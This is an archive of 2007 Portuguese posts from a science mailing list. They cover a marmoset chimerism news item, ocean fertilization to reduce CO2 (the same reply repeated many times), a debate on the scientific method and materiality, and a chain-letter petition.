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SAGÜI TEM FILHOS COM GENES DO PRÓPRIO IRMÃO
"Espécie de sagüi gera filhotes gêmeos fraternos, cujas células se
misturam no útero. Irmãos podem ter células sexuais vindas do
companheiro; placenta explica fenômeno."
http://g1.globo.com/Noticias/Ciencia/0,,MUL14656-5603-1874,00.html
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Roberto Takata



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TO: ciencialist@yahoogrupos.com.br
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"Espécie de sagüi gera filhotes gêmeos fraternos, cujas células se
misturam no útero. Irmãos podem ter células sexuais vindas do
companheiro; placenta explica fenômeno."
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Roberto Takata



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"Espécie de sagüi gera filhotes gêmeos fraternos, cujas células se
misturam no útero. Irmãos podem ter células sexuais vindas do
companheiro; placenta explica fenômeno."
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Roberto Takata



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"Espécie de sagüi gera filhotes gêmeos fraternos, cujas células se
misturam no útero. Irmãos podem ter células sexuais vindas do
companheiro; placenta explica fenômeno."
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TO: ciencialist@yahoogrupos.com.br
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SAGÜI TEM FILHOS COM GENES DO PRÓPRIO IRMÃO
"Espécie de sagüi gera filhotes gêmeos fraternos, cujas células se
misturam no útero. Irmãos podem ter células sexuais vindas do
companheiro; placenta explica fenômeno."
http://g1.globo.com/Noticias/Ciencia/0,,MUL14656-5603-1874,00.html
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Roberto Takata



SUBJECT: [RN] SAGUI TEM FILHOS COM GENES DO IRMAO
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TO: ciencialist@yahoogrupos.com.br
DATE: 28/03/2007 23:19

G1.COM.BR, 27-03-2007

SAGÜI TEM FILHOS COM GENES DO PRÓPRIO IRMÃO
"Espécie de sagüi gera filhotes gêmeos fraternos, cujas células se
misturam no útero. Irmãos podem ter células sexuais vindas do
companheiro; placenta explica fenômeno."
http://g1.globo.com/Noticias/Ciencia/0,,MUL14656-5603-1874,00.html
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Roberto Takata



SUBJECT: Re: Fertilização dos oceanos.UCFilho
FROM: "UCFilho" <ucfilho27182@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 28/03/2007 23:45

Boa noite João de Carvalho

o que se teme é o contrário: a acidificação progressiva dos oceanos
liberando cada vez mais CO2.

Quanto ao sentido inverso, acredita-se que mesmo uma maciça
fertilização de 10 a 15% da superfície terrestre dos oceanos só
traria uma redução de 10% do CO2 que hoje é emitido três vezes mais
rapidamente que pode ser absorvido.

Soluções? Alguns crêem que ainda temos dez anos pela frente para
reverter o aquecimento e, depois deste tempo o processo se torna
irreversível.

Leia mais detalhes nas URLs abaixo.

Saudações. UCFilho

http://www.scielo.br/pdf/ea/v4n9/v4n9a10.pdf
http://www.mct.gov.br/index.php/content/view/17660.html



--- Em ciencialist@yahoogrupos.com.br, "Joao de Carvalho"
<joaobncarvalho@...> escreveu
>
> Alguém sabe em que pé se encontra a idéia de fertilizar os oceanos
> para retirar CO2 da atmosfera e conter o aquecimento global?
Aquela
> idéia de plantar árvores me parece estúpida, pois a quantidade de
CO2
> fixado seria ínfima, acredito. Mas se conseguissem pulverizar o
> Pacífico inteiro com fertilizantes ocorreria um boom
fitoplantônico
> no meio do oceano. Este fitoplâncton entraria na cadeia alimentar
que
> terminaria por levar o carbono fixado para os organismos maiores,
> que, ao morrer, afundariam levando o carbono para o fundo do
oceano.
> Ocorreria também um boom no fundo do oceano, pois a chuva de
> nutrientes iria aumentar muito, mas creio que o CO2 iria ficar por

> mesmo, a 3 mil metros de profundidade. A disponibilidade de
oxigênio
> no fundo oceânico deve ser pequena, o que impediria que toda a
> matéria orgânica fosse queimada produzindo CO2.
>
> A meu ver, os maiores problemas são os possíveis desajustes dos
> ecossistemas marinhos, que presenciariam uma explosão de vida em
> locais que sempre foram desérticos, e a nossa capacidade de
conseguir
> nutrientes o suficiente para fertilizar os oceanos.
>
> João de Carvalho
>




SUBJECT: Re: Fertilização dos oceanos.UCFilho
FROM: "UCFilho" <ucfilho27182@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 28/03/2007 23:45

Boa noite João de Carvalho

o que se teme é o contrário: a acidificação progressiva dos oceanos
liberando cada vez mais CO2.

Quanto ao sentido inverso, acredita-se que mesmo uma maciça
fertilização de 10 a 15% da superfície terrestre dos oceanos só
traria uma redução de 10% do CO2 que hoje é emitido três vezes mais
rapidamente que pode ser absorvido.

Soluções? Alguns crêem que ainda temos dez anos pela frente para
reverter o aquecimento e, depois deste tempo o processo se torna
irreversível.

Leia mais detalhes nas URLs abaixo.

Saudações. UCFilho

http://www.scielo.br/pdf/ea/v4n9/v4n9a10.pdf
http://www.mct.gov.br/index.php/content/view/17660.html



--- Em ciencialist@yahoogrupos.com.br, "Joao de Carvalho"
<joaobncarvalho@...> escreveu
>
> Alguém sabe em que pé se encontra a idéia de fertilizar os oceanos
> para retirar CO2 da atmosfera e conter o aquecimento global?
Aquela
> idéia de plantar árvores me parece estúpida, pois a quantidade de
CO2
> fixado seria ínfima, acredito. Mas se conseguissem pulverizar o
> Pacífico inteiro com fertilizantes ocorreria um boom
fitoplantônico
> no meio do oceano. Este fitoplâncton entraria na cadeia alimentar
que
> terminaria por levar o carbono fixado para os organismos maiores,
> que, ao morrer, afundariam levando o carbono para o fundo do
oceano.
> Ocorreria também um boom no fundo do oceano, pois a chuva de
> nutrientes iria aumentar muito, mas creio que o CO2 iria ficar por

> mesmo, a 3 mil metros de profundidade. A disponibilidade de
oxigênio
> no fundo oceânico deve ser pequena, o que impediria que toda a
> matéria orgânica fosse queimada produzindo CO2.
>
> A meu ver, os maiores problemas são os possíveis desajustes dos
> ecossistemas marinhos, que presenciariam uma explosão de vida em
> locais que sempre foram desérticos, e a nossa capacidade de
conseguir
> nutrientes o suficiente para fertilizar os oceanos.
>
> João de Carvalho
>




SUBJECT: Re: Fertilização dos oceanos.UCFilho
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DATE: 28/03/2007 23:45

Boa noite João de Carvalho

o que se teme é o contrário: a acidificação progressiva dos oceanos
liberando cada vez mais CO2.

Quanto ao sentido inverso, acredita-se que mesmo uma maciça
fertilização de 10 a 15% da superfície terrestre dos oceanos só
traria uma redução de 10% do CO2 que hoje é emitido três vezes mais
rapidamente que pode ser absorvido.

Soluções? Alguns crêem que ainda temos dez anos pela frente para
reverter o aquecimento e, depois deste tempo o processo se torna
irreversível.

Leia mais detalhes nas URLs abaixo.

Saudações. UCFilho

http://www.scielo.br/pdf/ea/v4n9/v4n9a10.pdf
http://www.mct.gov.br/index.php/content/view/17660.html



--- Em ciencialist@yahoogrupos.com.br, "Joao de Carvalho"
<joaobncarvalho@...> escreveu
>
> Alguém sabe em que pé se encontra a idéia de fertilizar os oceanos
> para retirar CO2 da atmosfera e conter o aquecimento global?
Aquela
> idéia de plantar árvores me parece estúpida, pois a quantidade de
CO2
> fixado seria ínfima, acredito. Mas se conseguissem pulverizar o
> Pacífico inteiro com fertilizantes ocorreria um boom
fitoplantônico
> no meio do oceano. Este fitoplâncton entraria na cadeia alimentar
que
> terminaria por levar o carbono fixado para os organismos maiores,
> que, ao morrer, afundariam levando o carbono para o fundo do
oceano.
> Ocorreria também um boom no fundo do oceano, pois a chuva de
> nutrientes iria aumentar muito, mas creio que o CO2 iria ficar por

> mesmo, a 3 mil metros de profundidade. A disponibilidade de
oxigênio
> no fundo oceânico deve ser pequena, o que impediria que toda a
> matéria orgânica fosse queimada produzindo CO2.
>
> A meu ver, os maiores problemas são os possíveis desajustes dos
> ecossistemas marinhos, que presenciariam uma explosão de vida em
> locais que sempre foram desérticos, e a nossa capacidade de
conseguir
> nutrientes o suficiente para fertilizar os oceanos.
>
> João de Carvalho
>




SUBJECT: Re: Fertilização dos oceanos.UCFilho
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DATE: 28/03/2007 23:45

Boa noite João de Carvalho

o que se teme é o contrário: a acidificação progressiva dos oceanos
liberando cada vez mais CO2.

Quanto ao sentido inverso, acredita-se que mesmo uma maciça
fertilização de 10 a 15% da superfície terrestre dos oceanos só
traria uma redução de 10% do CO2 que hoje é emitido três vezes mais
rapidamente que pode ser absorvido.

Soluções? Alguns crêem que ainda temos dez anos pela frente para
reverter o aquecimento e, depois deste tempo o processo se torna
irreversível.

Leia mais detalhes nas URLs abaixo.

Saudações. UCFilho

http://www.scielo.br/pdf/ea/v4n9/v4n9a10.pdf
http://www.mct.gov.br/index.php/content/view/17660.html



--- Em ciencialist@yahoogrupos.com.br, "Joao de Carvalho"
<joaobncarvalho@...> escreveu
>
> Alguém sabe em que pé se encontra a idéia de fertilizar os oceanos
> para retirar CO2 da atmosfera e conter o aquecimento global?
Aquela
> idéia de plantar árvores me parece estúpida, pois a quantidade de
CO2
> fixado seria ínfima, acredito. Mas se conseguissem pulverizar o
> Pacífico inteiro com fertilizantes ocorreria um boom
fitoplantônico
> no meio do oceano. Este fitoplâncton entraria na cadeia alimentar
que
> terminaria por levar o carbono fixado para os organismos maiores,
> que, ao morrer, afundariam levando o carbono para o fundo do
oceano.
> Ocorreria também um boom no fundo do oceano, pois a chuva de
> nutrientes iria aumentar muito, mas creio que o CO2 iria ficar por

> mesmo, a 3 mil metros de profundidade. A disponibilidade de
oxigênio
> no fundo oceânico deve ser pequena, o que impediria que toda a
> matéria orgânica fosse queimada produzindo CO2.
>
> A meu ver, os maiores problemas são os possíveis desajustes dos
> ecossistemas marinhos, que presenciariam uma explosão de vida em
> locais que sempre foram desérticos, e a nossa capacidade de
conseguir
> nutrientes o suficiente para fertilizar os oceanos.
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> João de Carvalho
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SUBJECT: Re: Fertilização dos oceanos.UCFilho
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DATE: 28/03/2007 23:45

Boa noite João de Carvalho

o que se teme é o contrário: a acidificação progressiva dos oceanos
liberando cada vez mais CO2.

Quanto ao sentido inverso, acredita-se que mesmo uma maciça
fertilização de 10 a 15% da superfície terrestre dos oceanos só
traria uma redução de 10% do CO2 que hoje é emitido três vezes mais
rapidamente que pode ser absorvido.

Soluções? Alguns crêem que ainda temos dez anos pela frente para
reverter o aquecimento e, depois deste tempo o processo se torna
irreversível.

Leia mais detalhes nas URLs abaixo.

Saudações. UCFilho

http://www.scielo.br/pdf/ea/v4n9/v4n9a10.pdf
http://www.mct.gov.br/index.php/content/view/17660.html



--- Em ciencialist@yahoogrupos.com.br, "Joao de Carvalho"
<joaobncarvalho@...> escreveu
>
> Alguém sabe em que pé se encontra a idéia de fertilizar os oceanos
> para retirar CO2 da atmosfera e conter o aquecimento global?
Aquela
> idéia de plantar árvores me parece estúpida, pois a quantidade de
CO2
> fixado seria ínfima, acredito. Mas se conseguissem pulverizar o
> Pacífico inteiro com fertilizantes ocorreria um boom
fitoplantônico
> no meio do oceano. Este fitoplâncton entraria na cadeia alimentar
que
> terminaria por levar o carbono fixado para os organismos maiores,
> que, ao morrer, afundariam levando o carbono para o fundo do
oceano.
> Ocorreria também um boom no fundo do oceano, pois a chuva de
> nutrientes iria aumentar muito, mas creio que o CO2 iria ficar por

> mesmo, a 3 mil metros de profundidade. A disponibilidade de
oxigênio
> no fundo oceânico deve ser pequena, o que impediria que toda a
> matéria orgânica fosse queimada produzindo CO2.
>
> A meu ver, os maiores problemas são os possíveis desajustes dos
> ecossistemas marinhos, que presenciariam uma explosão de vida em
> locais que sempre foram desérticos, e a nossa capacidade de
conseguir
> nutrientes o suficiente para fertilizar os oceanos.
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> João de Carvalho
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SUBJECT: Re: Fertilização dos oceanos.UCFilho
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DATE: 28/03/2007 23:45

Boa noite João de Carvalho

o que se teme é o contrário: a acidificação progressiva dos oceanos
liberando cada vez mais CO2.

Quanto ao sentido inverso, acredita-se que mesmo uma maciça
fertilização de 10 a 15% da superfície terrestre dos oceanos só
traria uma redução de 10% do CO2 que hoje é emitido três vezes mais
rapidamente que pode ser absorvido.

Soluções? Alguns crêem que ainda temos dez anos pela frente para
reverter o aquecimento e, depois deste tempo o processo se torna
irreversível.

Leia mais detalhes nas URLs abaixo.

Saudações. UCFilho

http://www.scielo.br/pdf/ea/v4n9/v4n9a10.pdf
http://www.mct.gov.br/index.php/content/view/17660.html



--- Em ciencialist@yahoogrupos.com.br, "Joao de Carvalho"
<joaobncarvalho@...> escreveu
>
> Alguém sabe em que pé se encontra a idéia de fertilizar os oceanos
> para retirar CO2 da atmosfera e conter o aquecimento global?
Aquela
> idéia de plantar árvores me parece estúpida, pois a quantidade de
CO2
> fixado seria ínfima, acredito. Mas se conseguissem pulverizar o
> Pacífico inteiro com fertilizantes ocorreria um boom
fitoplantônico
> no meio do oceano. Este fitoplâncton entraria na cadeia alimentar
que
> terminaria por levar o carbono fixado para os organismos maiores,
> que, ao morrer, afundariam levando o carbono para o fundo do
oceano.
> Ocorreria também um boom no fundo do oceano, pois a chuva de
> nutrientes iria aumentar muito, mas creio que o CO2 iria ficar por

> mesmo, a 3 mil metros de profundidade. A disponibilidade de
oxigênio
> no fundo oceânico deve ser pequena, o que impediria que toda a
> matéria orgânica fosse queimada produzindo CO2.
>
> A meu ver, os maiores problemas são os possíveis desajustes dos
> ecossistemas marinhos, que presenciariam uma explosão de vida em
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> João de Carvalho
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SUBJECT: Re: Fertilização dos oceanos.UCFilho
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Boa noite João de Carvalho

o que se teme é o contrário: a acidificação progressiva dos oceanos
liberando cada vez mais CO2.

Quanto ao sentido inverso, acredita-se que mesmo uma maciça
fertilização de 10 a 15% da superfície terrestre dos oceanos só
traria uma redução de 10% do CO2 que hoje é emitido três vezes mais
rapidamente que pode ser absorvido.

Soluções? Alguns crêem que ainda temos dez anos pela frente para
reverter o aquecimento e, depois deste tempo o processo se torna
irreversível.

Leia mais detalhes nas URLs abaixo.

Saudações. UCFilho

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--- Em ciencialist@yahoogrupos.com.br, "Joao de Carvalho"
<joaobncarvalho@...> escreveu
>
> Alguém sabe em que pé se encontra a idéia de fertilizar os oceanos
> para retirar CO2 da atmosfera e conter o aquecimento global?
Aquela
> idéia de plantar árvores me parece estúpida, pois a quantidade de
CO2
> fixado seria ínfima, acredito. Mas se conseguissem pulverizar o
> Pacífico inteiro com fertilizantes ocorreria um boom
fitoplantônico
> no meio do oceano. Este fitoplâncton entraria na cadeia alimentar
que
> terminaria por levar o carbono fixado para os organismos maiores,
> que, ao morrer, afundariam levando o carbono para o fundo do
oceano.
> Ocorreria também um boom no fundo do oceano, pois a chuva de
> nutrientes iria aumentar muito, mas creio que o CO2 iria ficar por

> mesmo, a 3 mil metros de profundidade. A disponibilidade de
oxigênio
> no fundo oceânico deve ser pequena, o que impediria que toda a
> matéria orgânica fosse queimada produzindo CO2.
>
> A meu ver, os maiores problemas são os possíveis desajustes dos
> ecossistemas marinhos, que presenciariam uma explosão de vida em
> locais que sempre foram desérticos, e a nossa capacidade de
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> nutrientes o suficiente para fertilizar os oceanos.
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> João de Carvalho
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SUBJECT: Re: Fertilização dos oceanos.UCFilho
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TO: ciencialist@yahoogrupos.com.br
DATE: 28/03/2007 23:45

Boa noite João de Carvalho

o que se teme é o contrário: a acidificação progressiva dos oceanos
liberando cada vez mais CO2.

Quanto ao sentido inverso, acredita-se que mesmo uma maciça
fertilização de 10 a 15% da superfície terrestre dos oceanos só
traria uma redução de 10% do CO2 que hoje é emitido três vezes mais
rapidamente que pode ser absorvido.

Soluções? Alguns crêem que ainda temos dez anos pela frente para
reverter o aquecimento e, depois deste tempo o processo se torna
irreversível.

Leia mais detalhes nas URLs abaixo.

Saudações. UCFilho

http://www.scielo.br/pdf/ea/v4n9/v4n9a10.pdf
http://www.mct.gov.br/index.php/content/view/17660.html



--- Em ciencialist@yahoogrupos.com.br, "Joao de Carvalho"
<joaobncarvalho@...> escreveu
>
> Alguém sabe em que pé se encontra a idéia de fertilizar os oceanos
> para retirar CO2 da atmosfera e conter o aquecimento global?
Aquela
> idéia de plantar árvores me parece estúpida, pois a quantidade de
CO2
> fixado seria ínfima, acredito. Mas se conseguissem pulverizar o
> Pacífico inteiro com fertilizantes ocorreria um boom
fitoplantônico
> no meio do oceano. Este fitoplâncton entraria na cadeia alimentar
que
> terminaria por levar o carbono fixado para os organismos maiores,
> que, ao morrer, afundariam levando o carbono para o fundo do
oceano.
> Ocorreria também um boom no fundo do oceano, pois a chuva de
> nutrientes iria aumentar muito, mas creio que o CO2 iria ficar por

> mesmo, a 3 mil metros de profundidade. A disponibilidade de
oxigênio
> no fundo oceânico deve ser pequena, o que impediria que toda a
> matéria orgânica fosse queimada produzindo CO2.
>
> A meu ver, os maiores problemas são os possíveis desajustes dos
> ecossistemas marinhos, que presenciariam uma explosão de vida em
> locais que sempre foram desérticos, e a nossa capacidade de
conseguir
> nutrientes o suficiente para fertilizar os oceanos.
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> João de Carvalho
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SUBJECT: Re: Fertilização dos oceanos.UCFilho
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TO: ciencialist@yahoogrupos.com.br
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Boa noite João de Carvalho

o que se teme é o contrário: a acidificação progressiva dos oceanos
liberando cada vez mais CO2.

Quanto ao sentido inverso, acredita-se que mesmo uma maciça
fertilização de 10 a 15% da superfície terrestre dos oceanos só
traria uma redução de 10% do CO2 que hoje é emitido três vezes mais
rapidamente que pode ser absorvido.

Soluções? Alguns crêem que ainda temos dez anos pela frente para
reverter o aquecimento e, depois deste tempo o processo se torna
irreversível.

Leia mais detalhes nas URLs abaixo.

Saudações. UCFilho

http://www.scielo.br/pdf/ea/v4n9/v4n9a10.pdf
http://www.mct.gov.br/index.php/content/view/17660.html



--- Em ciencialist@yahoogrupos.com.br, "Joao de Carvalho"
<joaobncarvalho@...> escreveu
>
> Alguém sabe em que pé se encontra a idéia de fertilizar os oceanos
> para retirar CO2 da atmosfera e conter o aquecimento global?
Aquela
> idéia de plantar árvores me parece estúpida, pois a quantidade de
CO2
> fixado seria ínfima, acredito. Mas se conseguissem pulverizar o
> Pacífico inteiro com fertilizantes ocorreria um boom
fitoplantônico
> no meio do oceano. Este fitoplâncton entraria na cadeia alimentar
que
> terminaria por levar o carbono fixado para os organismos maiores,
> que, ao morrer, afundariam levando o carbono para o fundo do
oceano.
> Ocorreria também um boom no fundo do oceano, pois a chuva de
> nutrientes iria aumentar muito, mas creio que o CO2 iria ficar por

> mesmo, a 3 mil metros de profundidade. A disponibilidade de
oxigênio
> no fundo oceânico deve ser pequena, o que impediria que toda a
> matéria orgânica fosse queimada produzindo CO2.
>
> A meu ver, os maiores problemas são os possíveis desajustes dos
> ecossistemas marinhos, que presenciariam uma explosão de vida em
> locais que sempre foram desérticos, e a nossa capacidade de
conseguir
> nutrientes o suficiente para fertilizar os oceanos.
>
> João de Carvalho
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SUBJECT: Re: [ciencialist] Re: Luiz: Sobre o Método Cientifico - enquadrado
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 29/03/2007 08:00

Léo solicitou:

Luiz Ferraz Netto >>> Para cada um deles, descreva
sucintamente um modo de detetá-lo para que, desse
modo, possa ser enquadrado como 'um fato natural'.

Ferrari vomita:

"--- Enquadrado? Luiz, pra detectar um fenomeno não é
preciso enquadrá-lo em nenhuma teoria. Percebe isto?"

Léo indignado responde:
Não, não percebo. E nem foi isso o solicitado!
Aliás, como um último favor, última mensagem, último desabafo, explique-me, como vc consegue dar essa resposta para a pergunta feita. Onde estão as descrições sucintas solicitadas? Onde está escrito que devem ser enquadrados em alguma teoria?
++++++++++++
Por gentileza, por gentileza, por gentileza ... só responda; não faça pergunta alguma --- só responda --- só responda.

Eis os pedidos, simples e rasteiros:

Luiz Ferraz Netto >>> dê exemplos de fenômenos que
ocorram na Natureza que não envolvam partículas ou
estruturas materiais, mas que possam ser qualificados
como transcendentais, espiritual ou sobrenatural.

Exemplos dados pelo Ferrari:
........

Luiz Ferraz Netto >>> Para cada um deles, descreva
sucintamente um modo de detetá-lo para que, desse
modo, possa ser enquadrado como 'um fato natural'.

Descrições dos modos de detetar cada um dele dadas pelo Ferrari:
......


Nada de perguntas .... só preencha as solicitações acima.

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================


SUBJECT: Re: [ciencialist] Re: Takata: Sobre o Método Cientifico - ad infinitum
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 29/03/2007 09:46

Olá, Luiz! Os campos eletromagnéticos e gravitacionais são fenômenos
existentes e constatáveis em que não se detecta agentes materiais em sua
transmissão e/ou propagação. Atente que o gravitino é intuído mas ainda não
foi detectado. Provavelmente, em breve, vamos finalmente considerar a
textura do próprio espaço como um agente transmissor-propagador de fenômenos
aparentemente imateriais pelos nossos conceitos atuais. Por enquanto, estou
considerando as partículas e subpartículas conhecidas pertencentes às três
famílias da matéria, consolidadas teórica e experimentalmente nos últimos
quarenta anos. Se vc ler meu e-mail abaixo perceberá que os termos
transcendentais, sobrenatural e espirituais são formas diversas de se
expressar fenômenos naturais que ainda não possuem uma explicação
científica. Por definição, todos os fenômenos ocorridos na Natureza são
*naturais*. O termo *natural* em geral é utilizado para significar *normal,
habitual, rotineiro*, enquanto os demais *transcendental, sobrenatural e
espiritual*, têm o significado de *extraordinário, não usual, não rotineiro
ou ainda inexplicável*.

[]s

José Renato
............................................

From: "Luiz Ferraz Netto" <leobarretos@To: <ciencialist@yahoogrupos.com.br>
Sent: Tuesday, March 27, 2007 8:09 PM
Subject: Re: [ciencialist] Re: Takata: Sobre o Método Cientifico - ad
infinitum


Olá José Renato,

dê exemplos de fenômenos que ocorram na Natureza que não envolvam partículas
ou estruturas materiais, mas que possam ser qualificados como
transcendentais, espiritual ou sobrenatural.

Para cada um deles, descreva sucintamente um modo de detetá-lo para que,
desse modo, possa ser enquadrado como 'um fato natural'.

aquele abraço,

===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "José Renato" <jrma@terra.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: terça-feira, 27 de março de 2007 18:26
Assunto: Re: [ciencialist] Re: Takata: Sobre o Método Cientifico - ad
infinitum


Tanto o espaço como os campos não constam na relação de partículas e
sub-partículas das três famílias de matérias conhecidas e constatadas até o
momento. São naturais mas não têm estruturas materiais. Entendo que os
termos transcendente, espiritual ou sobrenatural são usados para diferenciar
alguns fenômenos ainda inexplicáveis pela ciência atual, dos fenômenos já
explicados por conhecimentos científicos. Mas volto a afirmar: tanto esses
como aqueles apesar de extraordinários ou anormais *são todos naturais*,
ocorrem na Natureza. Alguns desses fenômenos não envolvem partículas ou
estruturas materiais.
[]s
José Renato
............................

From: "rmtakata" <roberto.takata@To: <ciencialist@yahoogrupos.com.br>
Sent: Tuesday, March 27, 2007 12:00 AM
Subject: [ciencialist] Re: Takata: Sobre o Método Cientifico - ad infinitum


--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
> imateriais: espaço e campos.

São materiais posto q naturais. O imaterial se refere ao
transcendente, ao espiritual.

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] P/ Ferrari - : Sobre o Método Cientifico - adinfinitum
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 29/03/2007 10:11

Pense melhor , Jeff, a teoria da seleção natural das espécies não explica e
nem trata do existir.
[]s
José Renato
.............................................

----- Original Message -----
From: "Jefferson" <jeff@jeff.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Tuesday, March 27, 2007 8:33 PM
Subject: Re: [ciencialist] P/ Ferrari - : Sobre o Método Cientifico -
adinfinitum


> Olá JR,
>
>>
>> Muito bem, Jeff!
>> Agora, é só vc buscar a origem da existência.
>>
>
> A evolução das espécies por seleção natural é uma explicação lógica e
> satisfatória.
>
> []'s
> Jeff
>
>
>
>
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SUBJECT: Re: [ciencialist] P/ Ferrari - : Sobre o Método Cientifico - adinfinitum
FROM: "Jeff" <jeff@jeff.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 29/03/2007 10:31

>
> Pense melhor , Jeff, a teoria da seleção natural das espécies não explica
> e
> nem trata do existir.
>

Não quis dizer o existir do universo, mas do que existe dentro dele.

Como bem disse o Álvaro, talvez nunca conseguiremos compreender a origem do
universo... Mas pode ser que ele seja tão simples, que um dia
conseguiremos... Temos é que tentar, sem inventar nada pra se sentir
confortável...

[]´,s
Jeff.



SUBJECT: Re: [ciencialist] Re: Takata: Sobre o Método Cientifico - ad infinitum
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 29/03/2007 10:46

Diria que a realidade é detectável direta ou indiretamente. Se considerarmos
como material apenas as três famílias de matéria, ainda não podemos afirmar
que os campos e o espaço têm estrutura material. Mas percebo que o conceito
de *matéria* está se adequando à realidade.

Quanto a *curvatura* do espaço ela só é mensurável indiretamente pela
trajetória de fótons ou outras partículas. Entendo isso, como uma forma
didática de inserir o espaço como algo integrado ao universo percebido,
inseparável do que chamamos matéria.

Se no cosmos o espaço apresenta "curvaturas", quando mergulhamos uma vara na
água e a refração atua desviando os fótons refletidos, podemos dizer que o
espaço tem "quinas ou arestas".

[]s

José Renato
.............................

From: "rmtakata" <roberto.takata@bol.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Tuesday, March 27, 2007 8:50 PM
Subject: [ciencialist] Re: Takata: Sobre o Método Cientifico - ad infinitum


--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
> Tanto o espaço como os campos não constam na relação de partículas e
> sub-partículas das três famílias de matérias conhecidas e
> constatadas até o momento.

Eu não falei q a realidade é particulada. Eu defendo q a realidade é
material.

Campos são descritos em termos de partículas de qq forma. O espaço
tampouco é imaterial - podemos medir sua curvatura, por exemplo.

[]s,

Roberto Takata



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SUBJECT: Re: Takata: Sobre o Método Cientifico - ad infinitum
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 29/03/2007 11:08

--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
> Olá, Luiz! Os campos eletromagnéticos e gravitacionais são fenômenos
> existentes e constatáveis em que não se detecta agentes materiais em
> sua transmissão e/ou propagação.

Na não. São descrito em termos de troca de partículas. E se não tiver
corpos as trocando entre si...

[]s,

Roberto Takata



SUBJECT: Re: Takata: Sobre o Método Cientifico - ad infinitum
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 29/03/2007 11:16

--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
> Se considerarmos como material apenas as três famílias de matéria,

Se isso sim. Mas não é isso q se chama de algo ser material.

[]s,

Roberto Takata



SUBJECT: "As crianças vítimas inocentes de abuso pela Internet não podem falar por si."
FROM: "Esteban Moreno" <estebanlmoreno@gmail.com>
TO:
DATE: 29/03/2007 11:31

"As crianças vítimas inocentes de abuso pela Internet não podem falar por si."


Mas você pode com a sua ajuda podemos erradicar este terrível mal.


Não queremos dinheiro.


Nós precisamos de você para acender uma vela de apoio em


http://www.lightamillioncandles.com


Quanto mais velas acendermos, mais poderosa se torna a nossa voz.


Esta petição será usada para encorajar os governos, políticos,
instituições financeiras, serviços da Internet, companhias de
tecnologia e grandes companhias de advogados a erradicarem a
viabilidade do abuso de crianças on-line


Eles têm o poder para trabalharem juntos. E você tem o poder para os
obrigar a agir.


Por favor, acende uma vela em lightamillioncandles.com


http://www.lightamillioncandles.com


Ou envia um mail para:


light@lightamillioncandlescom .


Juntos conseguiremos destruir a possibilidade de na Internet as
crianças serem abusadas,destruindo assim as suas vidas inocentes.


Por favor reencaminha este mail aos teus amigos e colegas de trabalho
para que também eles possam acender uma vela.


Obrigado"


SUBJECT: Re: [ciencialist] P/ Ferrari - : Sobre o Método Cientifico - adinfinitum
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 29/03/2007 11:42

Álvaro: [ PS: depois de reler o que escrevi, acho que esquizofrenia pode ser
'contraída' via email... ]
.........................................

José Renato comenta: Que PS mais esquizofrênico, Álvaro?
É fato que quando começamos a refletir percebemos que nossas "certezas" são
apoios provisórios aos quais não devemos nos fundear para o resto da vida.
Muitos preferem nem pensar... É mais cômodo.
[]s
JR
........................................

From: "Álvaro Antpack" <alvaro_antpack@To: <ciencialist@yahoogrupos.com.br>
Sent: Wednesday, March 28, 2007 3:07 PM
Subject: Re: [ciencialist] P/ Ferrari - : Sobre o Método Cientifico -
adinfinitum


Jeff: A evolução das espécies por seleção natural é uma explicação lógica e
satisfatória.

Alvaro: Lógica, porém satisfatória em termos. Só explica alguns dos 15
bilhões de anos de nossa jornada até aqui... Até chegarmos ao Big Bang há um
longo caminho. Mas o que o causou? Não seria mais lógico Nada existir?
Porque, ou como, apareceu o Universo? Há fronteiras que eu CREIO que a
ciência jamais será capaz de atravessar, e portanto sempre haverá uma brecha
para alguém voltar com essa polêmica na Ciencialist, para desespero dos
cartesianos em qualquer grau.

Reafirmo que não sou religioso. Aposto que todas as religiões estão erradas,
afinal todas dizem estar certas. Mas tomo sempre uma posição "em cima do
muro" com relação à existência de sei-lá-quê, pois para mim essa é a única
opinião sustentável. Embora os crentes me torrem a paciência quando resolvo
emiti-la.

Falando no Nada, esse é um dos conceitos que "não cabem em nossa cabeça". E
isso não é Nada...

PS: depois de reler o que escrevi, acho que esquizofrenia pode ser
'contraída' via email...

Em 27/03/07, Jefferson < jeff@jeff.com.br> escreveu:
>
> Olá JR,
>
> >
> > Muito bem, Jeff!
> > Agora, é só vc buscar a origem da existência.
> >
>
> A evolução das espécies por seleção natural é uma explicação lógica e
> satisfatória.
>
> []'s
> Jeff



SUBJECT: Re: [ciencialist] P/ Ferrari - : Sobre o Método Cientifico - adinfinitum
FROM: "Jeff" <jeff@jeff.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 29/03/2007 11:56

>
> José Renato comenta: Que PS mais esquizofrênico, Álvaro?
> É fato que quando começamos a refletir percebemos que nossas "certezas"
> são
> apoios provisórios aos quais não devemos nos fundear para o resto da vida.
>

Muito pior é se fundamentar em algo sem evidências, não acha?

>
